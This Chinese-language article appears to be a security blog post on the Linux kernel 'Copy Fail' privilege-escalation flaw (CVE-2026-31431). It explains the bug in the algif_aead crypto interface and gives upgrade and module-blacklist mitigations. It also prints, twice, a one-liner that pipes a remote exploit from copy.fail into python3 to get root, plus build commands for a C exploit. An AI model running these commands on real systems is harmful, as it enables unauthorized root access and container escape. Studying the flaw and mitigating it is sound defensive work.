CVE-2026-31431:Linux内核曝史诗级本地提权漏洞,732字节脚本一键拿root
2026 年 4 月 29 日，安全研究团队公开披露 Linux 内核存在潜伏近十年的高危本地提权漏洞，编号CVE-2026-31431，代号Copy Fail。
该漏洞无需复杂条件、无竞态、兼容性极强，普通用户仅凭一段 732 字节 Python 脚本，就能直接提升至 root 权限，还可实现容器逃逸、突破云租户隔离，对多用户主机、容器集群、CI/CD 环境威胁极大，堪称近年最危险的 Linux 内核漏洞之一。
视频来源：copy.fail
一、漏洞简介
- 漏洞类型：Linux 内核 crypto 子系统逻辑缺陷，本地提权 + 容器逃逸
- 核心危害：本地非特权用户可直接获取 root 权限，篡改内核页面缓存，实现容器逃逸，威胁宿主机安全。
- 利用难度：极低，无需网络、无需内核调试、无竞态，单脚本通杀主流发行版，成功率 100%。
二、影响范围
漏洞源自 2017 年内核优化提交，2017 年至今未修复的 Linux 内核均受影响，覆盖绝大多数主流发行版与云环境。
已实测受影响发行版
理论受影响系统
Debian、Arch Linux、Fedora、Rocky Linux、AlmaLinux、Oracle Linux 及大量嵌入式/定制Linux系统（国产麒麟、统信等基于Linux的系统）。
不受影响内核版本
6.18.22+、6.19.12+、7.0+（上游主线已修复）。
高风险场景
- 自托管 CI/CD Runner（GitHub Actions、GitLab、Jenkins）
- 云托管 Notebook、沙箱、Serverless 服务。
漏洞藏在 Linux 内核algif_aead密码算法接口，由 2017 年一次错误的原地操作优化引入。
关键组件
AF_ALG：内核提供的用户态密码运算 socket 接口，普通用户可直接调用
AEAD：带认证的加解密模式
authencesn 模板：特定 AEAD 实现，解密时向缓冲区写入数据
splice()：零拷贝系统调用，可关联文件页面缓存与套接字缓冲区。
缺陷逻辑
优化错误将 TX 与 RX 缓冲区当作同一缓冲区处理，解密时把文件页面缓存链接到可写散射表，在验证标签前提前写入 4 个可控字节，获得直写页面缓存的 4 字节写入能力。
为何极度危险
利用流程
创建 AF_ALG 套接字→通过 splice 关联 su 等 setuid 文件页面缓存→写入 4 字节恶意数据→执行 su 直接获取 root shell。
我们直接使用 https://copy.fail提供的exp进行复现curl https://copy.fail/exp | python3 && su
也可以用 @0xShe 师傅用C重写的一个exp，用于应对目标没有Python的场景
git clone https://github.com/0xShe/CVE-2026-31431.gitcd CVE-2026-31431gcc -static exploit.c -o exploitchmod +x exploit./exploit
1. 官方修复（首选）
升级内核至包含修复提交a664bf3d603d的版本，回滚 2017 年问题优化，隔离读写缓冲区，阻止页面缓存被篡改。
- Ubuntu/Debian：更新 linux-image
- RHEL/CentOS/Rocky/Alma：等待官方安全补丁
2. 临时缓解（无法立即重启升级）
禁用algif_aead内核模块，阻断利用入口，操作如下：
# 临时卸载模块sudo rmmod algif_aead# 永久黑名单禁用echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif_aead.conf
注意：可能影响依赖 AF_ALG 的 VPN、TLS 库等程序，大部分系统无明显影响。
3. 验证是否受影响
授权测试环境执行以下命令验证，成功则获root权限curl https://copy.fail/exp | python3 && su
4. 额外加固建议
- 容器环境通过 seccomp 限制 AF_ALG 套接字创建
- 避免低权限用户执行不可信代码，CI/CD 使用沙箱环境
Copy Fail 漏洞潜伏近十年、利用简单、影响极广，共享内核环境务必立即修复。未及时升级的服务器，建议先禁用 algif_aead 模块降低风险，尽快完成内核更新。
回复关键字【260501】获取下载链接
星球已过800人，暂不再发放优惠券，如还有需要的师傅可加我VX：S_3had0w，等你一起来学习...！
